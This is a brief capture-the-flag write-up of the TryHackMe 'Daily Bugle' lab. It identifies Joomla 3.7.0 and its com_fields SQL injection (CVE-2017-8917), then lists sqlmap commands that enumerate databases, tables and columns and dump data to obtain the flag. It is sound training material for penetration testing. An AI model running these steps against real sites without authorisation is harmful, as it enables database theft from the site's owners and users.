PENTEST FOR DAILY BUGLE

Target Machine : **Daily Bugle**
Machine Platform : **TryHackMe**
Machine Type : **Web Server**
Done By : **Ketul Patel**

(1) Reconnaissance the Web Server.

- **a. Scanning web server using Nikto.**
  - i. It is running a Joomla Site.
- **b. Finding out Joomla version.**
  - i. Joomla Version -> 3.7.0
  - ii. Joomla 3.7.0 has a **'com_fields' SQL Injection** exploit.
  - iii. The CVE for the exploit is **2017-8917**.

(2) **Using SQL Map.**

- a. **Using SQL Map to get the DBS, Table, Column.**
- b. **Commands of SQL Map**
  - i. sqlmap -u <Machine-IP> --dbs
    1. Gives available database.
  - ii. sqlmap -u <Machine-IP> -D <Retrieved-DB> --tables
    1. Gives available tables in that database.
  - iii. sqlmap -u <Machine-IP> -D <Retrieved-DB> -T <Table-Name> --columns
    1. Gives available columns in that table.
  - iv. sqlmap -u <Machine-IP> -D <Retrieved-DB> -T <Table-Name> -C <Column-Name>, <Column-Name> --dump
    1. Now this command will dump all the data of given column names.
    2. And now from that data the flag was captured.